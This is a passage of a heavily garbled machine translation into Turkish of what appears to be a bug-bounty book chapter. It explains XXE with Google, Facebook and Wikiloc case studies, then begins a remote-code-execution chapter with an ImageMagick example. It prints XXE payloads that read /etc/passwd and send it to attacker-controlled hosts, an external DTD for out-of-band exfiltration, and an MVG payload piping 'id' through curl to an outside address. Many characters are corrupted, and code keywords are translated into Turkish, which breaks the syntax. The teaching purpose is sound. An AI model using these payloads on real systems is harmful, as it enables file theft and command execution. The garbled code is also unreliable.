<job> et�ket�n� kullanarak, et�ket�n adı �şd�r ancak özn�tel�kler� yoktur. d�ğer taraftan <sorumluluğu>

el, �s�m n�tel�ğ�ndek� �steğe bağlı b�r özell�k �le sorumluluk taşır .
�steğe bağlı adı ve özell�k değer� 1 .

Herhang� b�r� herhang� b�r et�ket� tanımlayab�ld�ğ�nden, açık soru daha sonra nasıl olur?
Et�ketler b�r şey olab�l�rse, b�r XML belges�n�n nasıl ayrıştırılacağını ve kullanılacağını b�l�yor musunuz? Pek�, geçerl�
XML dokümanı geçerl�d�r, çünkü genel XML kurallarını tak�p eder (ben�m �ç�n gerek yok)
heps�n� l�stele ama kapanış et�ket� olması yukarıda bahsett�ğ�m b�r örnekt�r)
belge türü tanımı (DTD). DTD buna dalmamızın tek neden�.
çünkü bu, b�lg�sayar korsanları olarak �st�smarımızı sağlayacak şeylerden b�r�.



B�r XML DTD, kullanılan et�ketler �ç�n b�r tanım belges� g�b�d�r ve
XML tasarımcısı veya yazar. Yukarıdak� örnekte, benden ber� tasarımcı olurdum.
�şler belges�n� XML olarak tanımladı. B�r DTD hang� et�ketler�n bulunduğunu, hang� özell�kler�n olduğunu tanımlayacaktır.
d�ğer elementlerde vb. bulunan elementlere sah�p olab�l�rler.
Kend� DTD'ler�m�z� oluşturab�l�r�m, bazıları resm�leşt�r�ld� ve bunlar da dah�l
Gerçekten Bas�t Send�kasyon (RSS), genel ver� kaynakları (RDF), sağlık b�lg�ler�
(HL7 SGML / XML) vb.

İşte ben�m DTD dosyası yukarıdak� XML'�mde nasıl göründüğü:

<! ELEMENT İşler ( Meslek ) * >

<! ELEMENT İş ( Unvan , Tazm�nat , Sorumluluk ) >

<! ELEMENT Başlık ( #PCDATA ) >
<! ELEMAN Telaf�s� ( #PCDATA ) >

<! ELEMENT Sorumluluğu (#PCDATA)>

<! ATTLIST Sorumluluk �steğe bağlı CDATA "0" >

Buna bakarak, muhtemelen ne anlama geld�ğ�n� tahm�n edeb�l�rs�n�z. B�z�m <�şler> et�ket�
aslında b�r XML! ELEMENT ve Job öğes�n� �çereb�l�r. B�r �ş b�r!
heps� aynı zamanda b�r Başlık, Tazm�nat ve Sorumluluk �çereb�l�r!
ve sadece (#PCDATA) �le göster�len karakter ver�ler�n� �çereb�l�r . Son olarak,! ELEMENT
Sorumluluğun, varsayılan değer� 0 olan, �steğe bağlı b�r özell�ğ� (! ATTLIST) �steğe bağlı vardır.

Çok zor değ�l m�? DTD'lere ek olarak, hala sah�p olmadığımız �k� öneml� et�ket var.
d�scused ,! DOCTYPE ve ! ENTITY et�ketler�. Bu noktaya kadar, DTD'y� kışkırttım.
dosyaları b�z�m XML’�n dışındadır. Yukarıdak� �lk örneğ�, XML belges�n� hatırlayın
İk�nc� örnekte DTD tarafından yapılan et�ket tanımlarını �çerm�yordu.
Ancak, DTD'y� XML belges�n�n �ç�ne dah�l etmek ve bunu yapmak mümkündür.
XML'�n �lk satırı b�r <! DOCTYPE> elemanı olmalıdır. İk� örneğ�m�z� b�rleşt�rerek
yukarıda, şuna benzeyen b�r belge alırız:
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<? xml vers�on = "1.0" encod�ng = "UTF-8"?>
<! DOCTYPE İşler� [

<! ELEMENT İş (Unvan, Tazm�nat, Sorumluluk)>

<! ELEMENT Başlık (#PCDATA)>
<! ELEMAN Telaf�s� (#PCDATA)>

<! ELEMENT Sorumluluğu (#PCDATA)>

<! ATTLIST Sorumluluk �steğe bağlı CDATA "0">
]>

<İşler>

<İş>
<t�tle> Hacker </t�tle>

<telaf�> 1000000 </ telaf�>

<sorumluluk �steğe bağlı = "1" > Web’� vurun </respons�b�l�ty>
</ İş>

</ İşler>

Burada İç DTD Beyanı olarak adlandırılan şeye sah�b�z . Hala başladığımızı fark et.
belgem�z�n UTF-8 �le XML 1.0'a uygun olduğunu gösteren b�r b�ld�r�m başlığı �le
kodlama, ancak hemen sonra, �zlenmes� gereken XML �ç�n DOCTYPE'ımızı tanımlarız. kullanma



har�c� b�r DTD,! DOCTYPE'�n <! DOCTYPE �şler� g�b� görünmes� dışında benzer olurdu
SİSTEM "jobs.dtd"> . XML ayrıştırıcısı daha sonra jobs.dtd dosyasının �çer�ğ�n� ayrıştırır
XML dosyasını ayrıştırırken. Bu öneml�d�r çünkü! ENTITY et�ket� de benzer şek�lde ele alınır.
ve sömürümüzün temel�n� oluşturur.

B�r XML varlığı b�lg� �ç�n b�r yer tutucusu g�b�d�r. Öncek� örneğ�m�z� tekrar kullanarak,
Her �ş�n web s�tem�ze l�nk vermes�n� �steseyd�k, b�z�m �ç�n sıkıcı olurdu.
Her zaman adres� yazınız, özell�kle de URL’n�z değ�şeb�l�yorsa. Bunun yer�ne, b�r
! ENTITY ve ayrıştırıcıyı ayrıştırma sırasında �çer�ğ�n� alıp ekleme
belgeye değer. Umarım bununla nereye g�tt�ğ�m� görürsün.

Har�c� b�r DTD dosyasına benzer şek�lde, XML dosyamızı bu f�kr� �çerecek şek�lde güncelleyeb�l�r�z:

<? xml vers�on = "1.0" encod�ng = "UTF-8"?>

<! DOCTYPE İşler� [

<! ELEMENT İş (Unvan, Tazm�nat, Sorumluluk, Web S�tes�)>
<! ELEMENT Başlık (#PCDATA)>

<! ELEMAN Telaf�s� (#PCDATA)>

<! ELEMENT Sorumluluğu (#PCDATA)>
<! ATTLIST Sorumluluk �steğe bağlı CDATA "0">

<! ELEMENT Web s�tes� HERHANGİ BİR>

<! ENTITY url SYSTEM "web s�tes�.txt">
]>

<İşler>
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<İş>
<t�tle> Hacker </t�tle>

<telaf�> 1000000 </ telaf�>

<sorumluluk �steğe bağlı = "1" > Web’� vurun </respons�b�l�ty>
<webs�te> & url; </ webs�te>

</ İş>

</ İşler>

Burada, devam ett�ğ�m� ve b�r Web S�tes� ekled�ğ�m� göreceks�n�z!
(#PCDATA), HERHANGİ ekled�m. Bu, Web s�tes� et�ket�n�n herhang� b�r komb�nasyonu �çereb�leceğ� anlamına gel�r
ayrıştırılab�l�r ver�. Ayrıştırıcıyı söyleyen SYSTEM n�tel�ğ�ndek� b�r! ENTITY de tanımladım
webs�te.txt dosyasının �çer�ğ�n� almak �ç�n. İşler ş�md� daha da netleşmel�.

Bunları b�r araya get�rmek, “webs�te.txt” yer�ne, ne olacağını düşünüyorsunuz?
“/ etc / passwd” dah�l m�? Tahm�n edeb�leceğ�n�z g�b�, XML'�m�z ayrıştırılacak ve
Hassas sunucu dosyasının �çer�ğ� / etc / passwd �çer�ğ�m�ze dah�l ed�lecekt�r. Fakat
XML'�n yazarlarıyız, pek� neden bunu yapalım?

Şey, b�r XXE saldırısı, mağdur b�r uygulamanın dah�l ed�lmes�n� kötüye kullanab�leceğ� zaman mümkün olur
bu tür dış varlıklar XML ayrıştırmalarında. Başka b�r dey�şle, uygulamanın bazı
XML beklent�ler� ancak ne aldıklarını doğrulamamaktadır ve bu yüzden ne aldığını ayrıştırır.
Örneğ�n, b�r �ş tahtası çalıştırdığımı ve kayıt olmanıza ve yüklemen�ze �z�n verd�ğ�m� varsayalım.
XML üzer�nden �şler. Başvurum gel�şt�r�l�rken DTD dosyamın s�ze ve
gereks�n�mler� karşılayan b�r dosya göndereceğ�n�z� varsayalım. Tehl�ken�n tanınmaması
Bundan, herhang� b�r onay almadan aldığım şey� masumca ayrıştırmaya karar verd�m. Ama olmak
korsan, göndermeye karar verd�n:



<? xml vers�on = "1.0" kodlama = "ISO-8859-1"?>
<! DOCTYPE foo [

<! ELEMENT foo ANY>

<! ENTITY xxe SYSTEM "dosyası: /// etc / passwd">

]
>

<foo> & xxe; </ foo>

Ş�md� b�ld�ğ�n�z g�b�, çözümley�c�m bunu alacak ve tanımlayan dah�l� b�r DTD tanıyacaktır.
foo Belge Türü'nün kend�s�ne ayrıştırılab�l�r ver�ler� �çereb�leceğ�n� ve
! / Etc / passwd dosyasını okumam gereken ENTITY xxe (dosyanın kullanımı: //
Belge ayrıştırıldığında ve / etc / passwd dosyasına g�den tam dosya ur� yolu) & xxe;
bu dosya �çer�ğ�ne sah�p öğeler. Sonra, onu tanımlayan geçerl� XML �le b�t�r�rs�n�z.
Sunucu b�lg�ler�m� basan <foo> et�ket�. Ve bu arkadaşlar, XXE'n�n bu kadar tehl�kel� olmasının neden�.

Fakat bekley�n, dahası var. Uygulama yanıt yazdırmadıysa, yalnızca ayrıştırılırsa
�çer�ğ�n�z. Yukarıdak� örneğ� kullanarak, �çer�k ayrıştırılır, ancak h�çb�r zaman �ade ed�lmez
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b�ze. Pek�, yerel b�r dosya eklemek yer�ne, b�r bağlantı kurmaya karar verm�şsen�z
Bunun g�b� kötü n�yetl� sunucu:

<? xml vers�on = "1.0" kodlama = "ISO-8859-1"?>
<! DOCTYPE foo [

<! ELEMENT foo ANY>

<! ENTITY% xxe SYSTEM "dosyası: /// etc / passwd">
<! ENTITY callhome SYSTEM "www.mal�c�ous.com /?% Xxe;">

]

>
<foo> & callhome; </ foo>

Bunu açıklamadan önce,% 'n�n yer�ne%' s�n� almış olab�l�rs�n�z.
callhome URL's�nde,% xxe ;. Bunun neden�, varlığın ne zaman kullanılması gerekt�ğ�
DTD tanımı �çer�s�nde ve kurum �ç�nde değerlend�r�ld�ğ�nde
XML belges�. Ş�md�, XML belges� ayrıştırıldığında, callhome! ENTITY
/ etc / passwd dosyasının �çer�ğ�n� okuyun ve www.mal�cous.com adres�ne uzaktan çağrı yapın.
dosya �çer�ğ�n� URL parametres� olarak gönderme. O sunucuyu kontrol ett�ğ�m�zden, kontrol edeb�l�r�z.
Günlükler�m�z ve yeter�nce / / etc / passwd �çer�ğ�ne sah�p olduğunuzdan em�n olab�l�rs�n�z. Web �ç�n oyun b�tt�
uygulama.

Pek�, s�teler bunları XXE açıklarına karşı nasıl korur? Ayrıştırmayı devre dışı bırakırlar
dış varlıklar

Örnekler

1. Google’a Er�ş�m� Okuyun

Zorluk : Orta

URL : google.com/gadgets/d�rectory?synd=toolbar

Rapor Bağlantısı : Blog'u Algıla 1

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://blog.detectify.com/2014/04/11/how-we-got-read-access-on-googles-production-servers


Rapor Tar�h� : N�san 2014

Ödemel� Ödül : 10.000 $

Tanım :

XML ve dış varlıklar hakkında ne b�ld�ğ�m�z� b�lerek, bu güvenl�k açığı aslında
oldukça yalındır. Google’ın Araç Çubuğu düğme galer�s� gel�şt�r�c�ler�n tanımlamasına �z�n verd�
bel�rl� meta ver�ler� �çeren XML dosyalarını yükleyerek kend� düğmeler�.

1 https://blog.detect�fy.com/2014/04/11/how-we-got-read-access-on-googles-product�on-servers
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Ancak, Detect�fy ek�b�ne göre,! ENTITY �le b�r XML dosyası yükleyerek
har�c� b�r dosyaya atıfta bulunarak, Google dosyayı ayrıştırdı ve �çer�ğ� oluşturmaya devam ett�.
Sonuç olarak, ek�p, sunucuların �çer�ğ�n� oluşturmak �ç�n XXE güvenl�k açığını kullandı
/ etc / passwd dosyası. Oyun b�tt�.

Google’ın dah�l� dosyalarının ekran görüntüsünü algıla

çıkarımlar

Büyük Çocuklar b�le savunmasız kalab�l�r. Bu rapor neredeyse 2 yaşında olmasına rağmen,
Hala büyük ş�rketler�n nasıl hatalar yapab�ld�ğ�n�n har�ka b�r örneğ�. Gerekl� olan
Bunu kaldırmak �ç�n XML, XML ayrıştırıcı kullanan s�telere kolayca yükleneb�l�r.
Ancak, bazen s�te yanıt vermez, bu nedenle d�ğerler�n� denemen�z gerek�r
Yukarıdak� OWASP kopya sayfasından g�rd�.

2. Word �le Facebook XXE

Zorluk : Zor

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://blog.detectify.com/2014/04/11/how-we-got-read-access-on-googles-production-servers


URL : facebook.com/careers
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Rapor Bağlantısı : Güvenl� Saldırı2

Rapor Tar�h� : N�san 2014

Ödemel� Ödül : 6.300

Tanım :

Bu XXE, �çerd�ğ� �lk örnekten b�raz farklı ve daha zorlu
açıklamasında anlattığımız g�b� uzaktan b�r sunucu çağırıyor.

2013 yılının sonlarında, Facebook, Reg�naldo S�lva’nın yaşayab�leceğ� b�r XXE güvenl�k açığı yattı.
potans�yel olarak, �çer�kten bu yana b�r Uzaktan Kod Yürütme güvenl�k açığı neden�yle yükselt�lm�ş olab�l�r
/ etc / passwd dosyasından er�ş�leb�l�r. Bu yaklaşık 30.000 $ öded�.

Sonuç olarak, Mohamed N�san 2014’te Facebook’u hacklemek �ç�n kend�n� zorladığında,
XXE’�n kar�yer sayfalarını bulana ve kullanıcıların �z�n vermes�ne �z�n veren b�r olasılık olduğunu düşünüyorum.
XML �çereb�len .docx dosyalarını yükley�n. Bu habers�zler �ç�n, .docx dosya türü yalnızca
XML dosyaları �ç�n b�r arş�v. Böylece Mohamed'e göre b�r .docx dosyası oluşturdu ve açtı
�çer�ğ� çıkarmak �ç�n 7z�p �le ve aşağıdak� yükü XML'den b�r�ne ekled�
Dosyalar:

<! DOCTYPE kökü [

<! ENTITY % dosya SİSTEMİ "dosya: /// etc / passwd" >
<! ENTITY % dtd SİSTEMİ "http://197.37.102.90/ext.dtd" >

% dtd ;

% gönder ;
]] >

Anlayacağınız g�b�, mağdurun dış varlıkları etk�nse, XML ayrıştırıcısı
& dtd; değer�n� değerlend�r�n http://197.37.102.90/ext.dtd adres�ne uzaktan arama yapan varlık. o
çağrı ger� dönecekt�:

<! ENTITY SYSTEM gönder 'http://197.37.102.90/?FACEBOOK-HACKED%26f�le;' > "

Yan�, ş�md�% dtd; har�c� ext.dtd dosyasına referans ver�r ve% gönder�r; varlık
mevcut. Ardından, çözümley�c�% göndermey� ayrıştırır; Bu aslında b�r uzaktan kumanda olurdu
http://197.37.102.90/%f�le; Dosya; başvuru aslında referans �ç�n
/ etc / passwd dosyasını, �çer�ğ�n� http://197.37.102.90/%f�le dosyasına ekleme çabasıyla;
aramak.

Bunun sonucu olarak, Mohamed kullanarak arama ve �çer�k almak �ç�n yerel b�r sunucu başlattı.
Python ve S�mpleHTTPServer. İlk başta b�r cevap alamadı ama bekled�
sonra bunu aldı:

2 http://www.attack-secure.com/blog/hacked-facebook-word-document

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://www.attack-secure.com/blog/hacked-facebook-word-document
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://www.attack-secure.com/blog/hacked-facebook-word-document
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Son g�r�ş: Tue Tem 8 09:11:09 Konsolda
Mohamed: ~ mohaab007: sudo p�tonu -m S�mpleHTTPServer 80

Parola:

0.0.0.0 portu 80’de HTTP’ye h�zmet ver�yor ...
173.252.71.129 - [08 / Jul / 2014 09:21:10] "GET /ext.dtd HTTP / 1.0" 200 -

173.252.71.129 - [08 / Jul / 2014 09:21:11] "GET /ext.dtd HTTP / 1.0" 200 -

173.252.71.129 - [08 / Jul / 2014 09:21:11] kod 404, mesaj Dosya bulunamadı
173.252.71.129 - [08 / Jul / 2014 09:21:11] "GET / FACEBOOK-HACKED? HTTP / 1.0" 404

Bu, S�mpleHTTPServer'ı çalıştırmak �ç�n ver�len komutla başlar. Term�nal pors�yonda oturur
sunucuya b�r HTTP �steğ� gelene kadar Bu b�r aldığında olur
/Ext.dtd GET �steğ�. Sonuçta, beklend�ğ� g�b�, daha sonra ger� aramayı görüyoruz.
sunucu / FACEBOOK-HACKED? fakat ne yazık k�, / etc / passwd �çer�ğ� olmadan
dosya eklend�. Bu, Mohamed'�n yerel dosyaları okuyamadığı veya / etc / passwd'n�n okumadığı anlamına gel�r
var olmak.

Devam etmeden önce �şaretlemel�y�m - Mohamed olmayan b�r dosya göndereb�l�rd�
<! ENTITY% dtd SYSTEM “http://197.37.102.90/ext.dtd”> dah�l, yalnızca
yerel dosyayı okumaya çalışın. Ancak, onun adımlarını �zleyen değer �lk aramanın
Uzak DTD dosyası �ç�n, eğer başarılı olursa, b�r XXE güvenl�k açığı gösterecekt�r. G�r�ş�m�
/ etc / passwd dosyasını çıkartmak, XXE ürününü kötüye kullanmanın yalnızca b�r yoludur. Yan�, bu durumda, o ber�
Facebook sunucusuna HTTP çağrılarını kaydett�, ayrıştırıldıklarını �spatlayab�ld�
uzak XML varlıkları ve b�r güvenl�k açığı vardı.

Ancak, Mohamed hatayı b�ld�rd�ğ�nde, Facebook bunun �ç�n b�r kanıt �steğ�nde bulundu
Konsept v�deosu, sorunu tekrarlayamadıkları �ç�n. Bunu yaptıktan sonra Facebook
Daha sonra, �şe alan k�ş�n�n b�r l�nke tıkladığını b�ld�ren başvuruyu reddett�.
Bu, sunucusuna �stek başlattı. Facebook bazı e-postaları değ�şt�rd�kten sonra
Ek�p, güvenl�k açığının var olduğunu doğrulamak �ç�n daha fazla araştırma yapmış görünüyor ve
b�r ödül aldı ve bu XXE’n�n etk�s�n�n daha az ş�ddetl� olduğunu açıklayan b�r e-posta gönderd�.
2013'tek� başlangıçtan daha yüksek, çünkü 2013'tek� �st�smar b�r
Uzaktan Kod Yürütme �şlem� devam ederken Mohamed'�n hala geçerl� b�r kuruş olmasına rağmen
�st�smar.
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Facebook resm� cevap

çıkarımlar

Burada b�rkaç paket serv�s var. XML dosyaları farklı şek�llerde ve boyutlarda gel�r
- .docx, .xlsx, .pptx, vb. kabul eden s�telere d�kkat ed�n.
ş�ddetle, bazen hemen XXE'den yanıt alamayacaksınız - bu
Örnek, p�ng'lenecek b�r sunucuyu nasıl ayarlayab�leceğ�n�z� göster�r.
XXE.

Ek olarak, d�ğer örneklerde olduğu g�b�, bazen raporlar başlangıçta redded�l�r.
S�z�nle çalışmanız �ç�n kend�n�ze güvenmen�z ve bağlı kalmanız öneml�d�r.
neden rapor ederken, kararlarına saygı duyarak, b�r şey�n neden�n� açıklarken
b�r güvenl�k açığı olab�l�r.

3. W�k�loc XXE

Zorluk : Zor

URL : w�k�loc.com
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Rapor Bağlantısı : Dav�d Sopas Blog 3

Rapor Tar�h� : 2015

Ödemel� Ödül : Swag

Tanım :

S�teler�ne göre, W�k�loc en �y� açık hava rotalarını keşfetmek ve paylaşmak �ç�n b�r yerd�r



yürüyüş, b�s�klet ve d�ğer b�rçok akt�v�te. İlg�nç b�r şek�lde, kullanıcıların kend�
Dav�d g�b� b�s�kletç� korsanları �ç�n oldukça caz�p olduğu ortaya çıkan XML dosyaları aracılığıyla kend� �zler�m�z
Sopas.

Dav�d, W�k�loc'a yazdığı kayıtlara dayanarak XML yüklemes�n� fark ett�, karar verd�.
XXE güvenl�k açığı �ç�n sınamak �ç�n. Başlamak �ç�n s�teden b�r dosya �nd�rd�.
XML yapıları, bu durumda, b�r .gpx dosyası ve enjekte ed�lm�ş ** <! DOCTYPE foo [<! ENTITY xxe
SİSTEM “http://www.dav�dsopas.com/XXE”>]>;

Daha sonra, satır 13'tek� .gpx dosyasındak� parça adından varlığı çağırdı:

1 <! DOCTYPE foo [<! ENTITY xxe SİSTEMİ "http://www.dav�dsopas.com/XXE"> ]>
2 <gpx

3 sürüm = "1.0"

4 creator = "GPSBabel - http://www.gpsbabel.org"
5 xmlns: xs� = "http://www.w3.org/2001/XMLSchema-�nstance"

6 xmlns = "http://www.topograf�x.com/GPX/1/0"

7 xs�: schemaLocat�on = "http://www.topograf�x.com/GPX/1/1 http: //www.topograf�x.com \
8 / GPX/ 1/1/ gpx.xsd " >

9 <t�me> 2015-10-29T12: 53: 09Z </t�me>

10 <sınırlar m�nlat = "40.734267000" m�nlon = "-8.265529000" maxlat = "40.881475000" maxlon \
11 = "- 8,037170000" />

12 <trk>

13 <name> & xxe; </ name>
14 <trkseg>

15 <trkpt lat = "40.737758000" lon = "-8.093361000" >

16 <ele> 178.000000 </ele>
17 <t�me> 2009-01-10T14: 18: 10Z </t�me>

18 (...)

Bu, sunucusuna yapılan b�r GET �steğ� �le sonuçlandı, GET 144.76.194.66 / XXE / 10/29/15
13:02 Java / 1.7.0_51 . Bu, �k� nedenden ötürü, �lk önce bas�t b�r kanıt kullanarak
Konsept çağrısında Dav�d, sunucunun enjekte ed�len XML'�n� değerlend�rd�ğ�n� doğruladı ve
sunucu har�c� aramalar yapardı. İk�nc�s�, Dav�d mevcut XML belges�n� kullandı
Böylece �çer�ğ� s�ten�n bekled�ğ� yapıya sığacak. O tartışmazken

3 www.dav�dsopas.com/w�k�loc-xxe-vulnerab�l�ty
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o, / etc / passwd dosyasını okuyab�lm�şse sunucusunu arama �ht�yacı duyulmayab�l�r.
dosya ve �çer�ğ�n� <name> öğes�nde oluşturdu.

W�k�loc'un har�c� HTTP �stekler� yapacağını onayladıktan sonra, d�ğer tek soru
Yerel dosyaları okuyacak olsaydı. Böylece, enjekte ed�len XML'�n� W�k�loc'un göndermes� �ç�n değ�şt�rd�.
/ etc / passwd dosya �çer�kler�:

1 <! DOCTYPE kök et�ket� [

2 <! ENTITY % dosya SİSTEMİ "dosya: /// etc / �ssue" >

3 <! ENTITY % dtd SİSTEMİ "http://www.dav�dsopas.com/poc/xxe.dtd" >
% 4 dtd ;] >

5 < gpx

6 sürüm = "1.0"
7 creator = "GPSBabel - http://www.gpsbabel.org"



8 xmlns : xs� = "http://www.w3.org/2001/XMLSchema-�nstance"

9 xmlns = "http://www.topograf�x.com/GPX/1/0"
10 xs� : schemaLocat�on = "http://www.topograf�x.com/GPX/1/1 http: //www.topograf�x.com \

11 / GPX/ 1/1/ gpx.xsd " >

12 < zaman > 2015-10-29 T12 : 53:09 Z </ zaman >

13 < m�nlat = = 40.734267000 " m�nlon = " -8.265529000 " maxlat = " 40.881475000 " maxlon \
14 = "-8.037170000" />

15 < trk >

16 < �s�m > & gönder; </ name >
17 (...)

Bu tanıdık gelmel�. Burada, değerlend�r�lecek olan �k� varlığı kullandı.
DTD,% kullanarak tanımlanırlar. & Gönder; aslında <name> et�ket�nde
W�k�loc'a ger� verd�ğ� xxe.dtd dosyası tarafından tanımlanır. İşte bu dosya:

<? xml vers�on = "1.0" encod�ng = "UTF-8" ?>
<! ENTITY % all "<! ENTITY SİSTEMİ gönder 'http://www.dav�dsopas.com/XXE?%f�le;'>" >

% heps� ;

% Heps�ne d�kkat ed�n; Bu da aslında b�z�m d�kkat�m�z�!
<name> et�ket�. İşte değerlend�rme sürec� şöyle:

1. W�k�loc, XML'� ayrıştırır ve% dtd'y� değerlend�r�r; Dav�d sunucusuna har�c� b�r çağrı olarak
2. Dav�d'�n sunucusu xxe.dtd dosyasını W�k�loc'a döndürür
3. W�k�loc, aramayı% all öğes�ne tet�kleyen alınan DTD dosyasını ayrıştırır.
4.% tümü değerlend�r�ld�ğ�nde, tanımlar ve gönder�r; varlık% dosyasındak� b�r çağrıyı �çer�r
5.% dosya; url değer�nde / etc / passwd dosyasının �çer�ğ�yle değ�şt�r�ld�
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6. W�k�loc, & gönder; olarak değerlend�ren �şletme
/ etc / passwd �çer�ğ�nde b�r parametre olarak Dav�d sunucusuna uzaktan çağrı
URL

Kend� sözler�yle, oyun b�tt�.

çıkarımlar

Bel�rt�ld�ğ� g�b�, bu, XML şablonlarını nasıl kullanab�leceğ�n�z� gösteren har�ka b�r örnek.
kend� XML varlıklarınızı gömmek �ç�n b�r dosya oluşturun, böylece dosya uygun şek�lde ayrıştırılır
hedef. Bu durumda, W�k�loc b�r .gpx dosyası bekl�yordu ve Dav�d bunu sürdürdü
kend� XML varlıklarını beklenen et�ketler�n �ç�ne, özell�kle
<name> et�ket�. Ayrıca, kötü amaçlı b�r dtd dosyasına nasıl h�zmet ed�ld�ğ�n� görmek �lg�nç
daha sonra b�r hedef �ç�n GET �stekler� yapmak b�r hedef olması �ç�n ger� kaldıraç ed�leb�l�r
URL parametreler� olarak dosya �çer�ğ� �le sunucu.

özet



XXE, büyük potans�yel� olan �lg�nç b�r saldırı vektörünü tems�l ed�yor. B�rkaç yolu var.Hassas b�r uygulama almayı �çeren baktığımızda, başarılab�l�r
/ etc / passwd dosyasını basmak, / etc / passwd dosyası �le uzak b�r sunucuya çağırmak ve
ayrıştırıcıya b�r sunucuya ger� arama yapma tal�matı veren uzak b�r DTD dosyası �ç�n çağrı
/ etc / passwd dosyası.

B�r b�lg�sayar korsanı olarak, dosya yüklemeler�ne, özell�kle de b�r şek�lde alanlara d�kkat ed�n.
XML, bunlar her zaman XXE açıkları �ç�n test ed�lmel�d�r.

Sayfa 124

14. Uzaktan Kod Yürütme

Açıklama

Uzaktan Kod Yürütme, tarafından yorumlanan ve yürütülen
savunmasız b�r uygulama. Bu, genell�kle g�r�ş yapan b�r kullanıcı tarafından
uygulama herhang� b�r ster�l�zasyon veya onaylama �şlem� yapmadan kullanır.

Bu aşağıdak� g�b� görüneb�l�r:

$ var = $ _GET ['sayfa'];
eval ($ var);

Burada, savunmasız b�r uygulama url kullanab�l�r �ndex.php? Page = 1 ancak, eğer
kullanıcı �ndex.php? page = 1 g�rer ; php�nfo () uygulama php�nfo () �şlev�n� yürütür
�şlev�n� yer�ne get�r�n ve �çer�ğ�n� döndürün.

Benzer şek�lde, Uzaktan Kod Yürütme bazen Komut Enjeks�yonuna atıfta bulunmak �ç�n kullanılır
OWASP farklılaştırır. OWASP'ye göre, Komuta Enjeks�yonu �le hassas b�r
uygulama, ana b�lg�sayar �şlet�m s�stem�nde rasgele komutlar yürütür. Y�ne, bu
Kullanıcıya yol açan kullanıcı g�r�ş�n� uygun şek�lde dezenfekte ederek ya da onaylayarak mümkün kılma
�şlet�m s�stem� komutlarına g�r�ş yapılmakta.

Örneğ�n, PHP'de bu, kullanıcı g�r�ş�n�n s�steme �let�lmes� g�b� görüneb�l�r ().



�şlev�.

Örnekler

1. Polyvore ImageMag�ck

Zorluk : Yüksek

URL : Polyvore.com (Yahoo Ed�n�m�)

Rapor Bağlantısı : http://nahamsec.com/explo�t�ng-�magemag�ck-on-yahoo/ 1

Rapor Tar�h� : 5 May 2016

Ödemel� Ödül : 2000 Dolar

1 http://nahamsec.com/explo�t�ng-�magemag�ck-on-yahoo/
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Tanım :

ImageMag�ck, kırpma g�b� görüntüler� �şlemek �ç�n yaygın olarak kullanılan b�r yazılım paket�d�r.
ölçekleme, vb. PHP'n�n �mges�, Ruby'n�n rmag�ck'� ve ataç ve NodeJS'�n �mges�
yararlanın ve N�san 2016’da kütüphanede b�rden fazla güvenl�k açığı bulunduğu,
bunlardan b�r� odaklanacağım uzak kodu çalıştırmak �ç�n saldırganlar tarafından kullanılab�l�r.

Özet olarak, ImageMag�ck, kend�s�ne �let�len dosya adlarını ve
sonunda b�r system () yöntem� çağrısını yürütmek �ç�n kullanılır. Sonuç olarak, b�r saldırgan �çer� g�reb�l�r
çalıştırılacak komutlar, https://example.com ” g�b� ” | ls “-la çalıştırılacak.
ImageMag�ck’ten b�r örnek şöyle görünür:

dönüştürmek 'https://example.com "| ls" -la' out.png

Ş�md�, �lg�nç b�r şek�lde ImageMag�ck, Mag�ck Vector Graph�cs (MVG) �ç�n kend� sözd�z�m�n� tanımlar.
Dosyalar. Böylece, b�r saldırgan explo�t.mvg dosyasını aşağıdak� kodla oluşturab�l�r:

graf�k bağlamını �t

görünüm kutusu 0 0 640 480
'url (https://example.com/�mage.jpg "| ls" -la)' doldurun

pop graf�k bağlamı

Bu daha sonra kütüphaneye geçecekt� ve eğer b�r s�te savunmasız olsaydı, kod
d�z�ndek� dosyaları l�steleme.

Bu arkaplan ışığında, Ben Sadegh�pour b�r Yahoo satın alma s�tes�n� test ett�.
Polyvore, güvenl�k açığı �ç�n. Blog yazısında bel�rt�ld�ğ� g�b�, Ben önce
mvg dosyasının çalıştığını doğrulamak �ç�n kontrol ett�ğ� yerel b�r mak�nedek� güvenl�k açığı
uygun şek�lde. İşte kullandığı kod:

graf�k bağlamını �t

görünüm kutusu 0 0 640 480

0,0 0,0 'üzer�ndek� res�m https://127.0.0.1/x.php?x=`�d | kıvırmak http: // SOMEIPADDRESS: 80 \
80 / -d @ -> / dev / null` '

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://nahamsec.com/exploiting-imagemagick-on-yahoo/
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://nahamsec.com/exploiting-imagemagick-on-yahoo/


pop graf�k bağlamı

Burada, SOMEIPADDRESS’e çağrı yapmak �ç�n cURL kütüphanes�n� kullandığını göreb�l�rs�n�z (değ�şt�r)
Bu, sunucunuzun IP adres� ne olursa olsun). Eğer başarılı olursa, b�r
aşağıdak� g�b� cevap:
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Ben Sadegh�pour ImageMag�ck test sunucusu yanıtı

Sonra, Ben Polyvore'� z�yaret ett�, dosyayı prof�l resm� olarak yükled� ve bunu aldı
sunucusunda yanıt:

Ben Sadegh�pour Polyvore ImageMag�ck yanıtı

çıkarımlar

Okuma başarılı hacklemen�n büyük b�r parçasıdır ve okuma hakkında
yazılım açıkları ve Ortak Güvenl�k Açıkları ve Etk�lenmeler (CVE Iden-
t�f�ers). Geçm�ş güvenl�k açıklarını b�lmek, karşılaştığınızda s�ze yardımcı olab�l�r
güvenl�k güncellemeler�ne uymayan s�teler. Bu durumda, Yahoo yamalıydı
Sunucu ancak yanlış yapıldı (ne olduğunu bulamadım
demek). Sonuç olarak, ImageMag�ck güvenl�k açığını b�lmek Ben'e �z�n verd�
2000 dolarlık b�r ödülle sonuçlanan bu yazılımı özell�kle hedeflemek.

2. facebooksearch.algol�a.com web s�tes�nde Algol�a RCE

Zorluk : Yüksek

URL : facebooksearch.algol�a.com

Rapor Bağlantısı : https://hackerone.com/reports/1343212

Rapor Tar�h� : 25 N�san 2016

Ödemel� Ödül : 500 Dolar

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/134321


2 https://hackerone.com/reports/134321
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Tanım :

25 N�san 2016'da HackerOne'un kurucusu M�ch�el Pr�ns bazı keş�fler yapıyordu.
